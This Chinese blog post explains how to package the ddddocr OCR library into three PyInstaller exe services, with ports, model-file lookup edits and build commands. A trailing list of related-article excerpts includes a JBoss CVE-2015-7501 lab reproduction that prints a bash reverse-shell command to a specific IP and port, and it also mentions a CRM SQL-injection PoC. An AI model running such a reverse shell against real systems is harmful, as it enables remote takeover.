【Python调用ddddocr打包成exe文件指定模型库及注意事项】

ddddocr 打包成 exe 后一直存在各种各样的问题,例如:
ddddocr\common.onnx failed. File doesn’t exist
查阅资料后,问题得到解决。但相关资料不多,且不够详细,特写下本文,以便于后来者解决问题。
希望本文能帮到你。

目标: 为了方便调用, 打算分别起三个服务, 并且打包成 EXE 方便调用 , 对于的端口号分别为
ocr_old 库 port=9897
ocr 库 port=9898
det 库 port=9890

操作步骤:

1 建立打包目录,d:\app.python

从 github 中下载 ocr_server.py  拷贝到打包目录  d:\app.python

2 将 \Lib\site-packages\ddddocr\ 下的3个库 拷贝到打包目录, 修改文件,固定参数

1) 标准 ocr 库 common.onnx

        parser.add_argument("-p", "--port", type=int, default=9898)
 			 self.ocr_option = True
        self.det_option = False
        self.old_option = False

2) 老old_ocr 库 common_old.onnx

			 parser.add_argument("-p", "--port", type=int, default=9897)
        self.ocr_option = True
        self.det_option = False
        self.old_option = True

3) 目标检测det 库: common_det.onnx

			 parser.add_argument("-p", "--port", type=int, default=9890)
        self.ocr_option = False
        self.det_option = True
        self.old_option = False

3 修改库文件从当前目录查找,没有再找默认目录

找到   \Lib\site-packages\ddddocr\__init__.py 文件 
if os.path.exists('./common_old.onnx'):
	self.__graph_path = './common_old.onnx'
else:
  self.__graph_path = os.path.join(os.path.dirname(__file__), 'common_old.onnx')

4 先打包,使得打包目录中出现 名字.spec 的配置文件

1) 先安装打包的类库

pip install pyinstaller

2) 打包成对应的 Exe 文件

pyinstaller -F  ocr_server.py 
pyinstaller  -y ocr_server.spec

pyinstaller -F  ocr_old_server.py 
pyinstaller  -y ocr_old_server.spec

pyinstaller -F  ocr_det_server.py 
pyinstaller  -y ocr_det_server.spec

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/885280.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

CPU大端和小端的判断:【两种方法+源代码】

1:为什么会出现大小端 在计算机系统中,数据是以字节为单位进行存储的。每个地址单元都对应着一个字节,一个字节为8位(bit)。然而,在C语言等编程语言中,除了8位的char类型外,还有16位…

SpringBoot+Activiti7工作流入门实例

目录 文章目录 目录准备Activiti建模工具1、BPMN-js在线设计器1.1 安装1.2 使用说明1.3运行截图2、IDEA安装Activiti Designer插件2.1安装插件2.2 设置编码格式防止中文乱码2.3 截图简单工作流入门实例1. 新建Spring Boot工程2. 引入Activiti相关依赖添加版本属性指定仓库添加依…

C语言扫盲

文章目录 C版本C语言特征GCCprintf数据类型函数指针内存管理void指针 Struct结构和Union结构typedef预处理器make工具cmake工具Projectintegral of sinc functionemulator embedded systeman event schedule 补充在线Linux终端安装Linux参考 建议还是国外教材学习…人家的PPT比…

HBase DDL操作代码汇总(namespace+table CRUD操作)

HBase DDL操作 DDL操作主要是关于命名空间和表格的内容增删改查。 注:如果出现无法连接到zookeeper等的相关错误,可以将以下代码打jar包,在HMaster节点上执行 错误提示: Exception in thread “main” java.net.SocketTimeoutExc…

sql server每天定时执行sql语句

sql server每天定时执行sql语句 1、打开SQL Server Management Studio 2、鼠标右击【SQL Server 代理】,选择【启动(S)】,如已启动,可以省略此步骤; 3、右键,新建-》作业,在作业上-》新建作业&#xff…

TypeScript是基于LLM上层研发的受益者

TypeScript优在哪里 TypeScript是一种由微软开发的开源编程语言,它是JavaScript的一个超集,添加了类型系统和一些其他特性。TypeScript的优势在于: 静态类型检查:TypeScript的最大卖点是它的静态类型系统。这允许开发者在编写代码…

Pytest自动化测试执行环境切换的2种解决方案

一、痛点分析 在实际企业的项目中,自动化测试的代码往往需要在不同的环境中进行切换,比如多套测试环境、预上线环境、UAT环境、线上环境等等,并且在DevOps理念中,往往自动化都会与Jenkins进行CI/CD,不论是定时执行策略…

ELK-03-skywalking监控linux系统

文章目录 前言一、下载node_exporter二、启动node_exporter三、下载OpenTelemetry Collector四、启动OpenTelemetry Collector4.1 将配置文件下载到同级目录4.2 启动 五、查看总结 前言 skywalking安装完成后,开始我们的第一个监控-监控linux系统。 参考官方文档&a…

AI知识库如何重塑电商行业的产品推荐系统

在数字化浪潮的推动下,电子商务行业正经历着前所未有的变革。其中,产品推荐系统作为连接消费者与商品的桥梁,其智能化与个性化水平直接影响着用户体验、转化率乃至整个平台的竞争力。随着人工智能(AI)技术的飞速发展&a…

灵当CRM index.php接口SQL注入漏洞复现 [附POC]

文章目录 灵当CRM index.php接口SQL注入漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 灵当CRM index.php接口SQL注入漏洞复现 [附POC] 0x01 前言 免责声明:请勿利用文章内的相关技…

Oracle Data Guard备库清理归档脚本

1 说明 我们知道在Oracle Data Guard架构中归档模式是必须打开的,主库将日志传输到备库,最终存放到备库的归档日志文件中。随着系统的运行,归档日志文件会不断累积,如果不及时清理,则会造成归档空间被写满&#xff0c…

java项目之社区智慧养老监护管理平台设计与实现源码(springboot)

风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的社区智慧养老监护管理平台设计与实现。项目源码以及部署相关请联系风歌,文末附上联系信息 。 项目简介: 社区…

Linux工具的使用——yum和vim的理解和使用

目录 linux工具的使用1.linux软件包管理器yum1.1yum的背景了解关于yum的拓展 1.2yum的使用 2.Linux编辑器-vim使用2.1vim的基本概念2.2vim的基本操作2.3命令模式命令集2.3.1关于光标的命令:2.3.2关于复制粘贴的命令2.3.3关于删除的命令2.3.4关于文本编辑的命令 2.4插…

MAC M1 安装brew 配置环境变量,安装dart

一. 下载 brew 1. 终端输入 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 2. 如遇到下载失败情况,需要VPN/代理 curl: (7) Failed to connect to raw.githubusercontent.com port 443 after 8 m…

【2025】springboot基于微信小程序记账本的设计与实现(源码+文档+调试+答疑)

文章目录 前言一、主要技术?二、项目内容1.整体介绍(示范)2.运行截图3.系统测试 总结更多项目 前言 时代在飞速进步,每个行业都在努力发展现在先进技术,通过这些先进的技术来提高自己的水平和优势,记账本小…

SpringBoot+Thymeleaf发票系统

> 这是一个基于SpringBootSpringSecurityThymeleafBootstrap实现的简单发票管理系统。 > 实现了用户登录,权限控制,客户管理,发票管理等功能。 > 并且支持导出为 CSV / PDF / EXCEL 文件。 > 本项目是一个小型发票管理系统…

基于SpringBoot的休闲娱乐代理售票系统设计与实现

1.1研究背景 21世纪,我国早在上世纪就已普及互联网信息,互联网对人们生活中带来了无限的便利。像大部分的企事业单位都有自己的系统,由从今传统的管理模式向互联网发展,如今开发自己的系统是理所当然的。那么开发休闲娱乐代理售票…

探索私有化聊天软件:即时通讯与音视频技术的结合

在数字化转型的浪潮中,企业对于高效、安全、定制化的通讯解决方案的需求日益迫切。鲸信,作为音视频通信技术的佼佼者,凭借其强大的即时通讯与音视频SDK(软件开发工具包)结合能力,为企业量身打造了私有化聊天…

Linux 应用层自定义协议与序列化

文章目录 一、应用层1、协议2、序列化 && 反序列化3、通过Json库进行数据的序列化 && 反序列化Json::Value类Json::Reader类Json::Writer类 二、为什么read、write、recv、send和Tcp支持全双工?发数据的本质:tcp支持全双工通信的原因&am…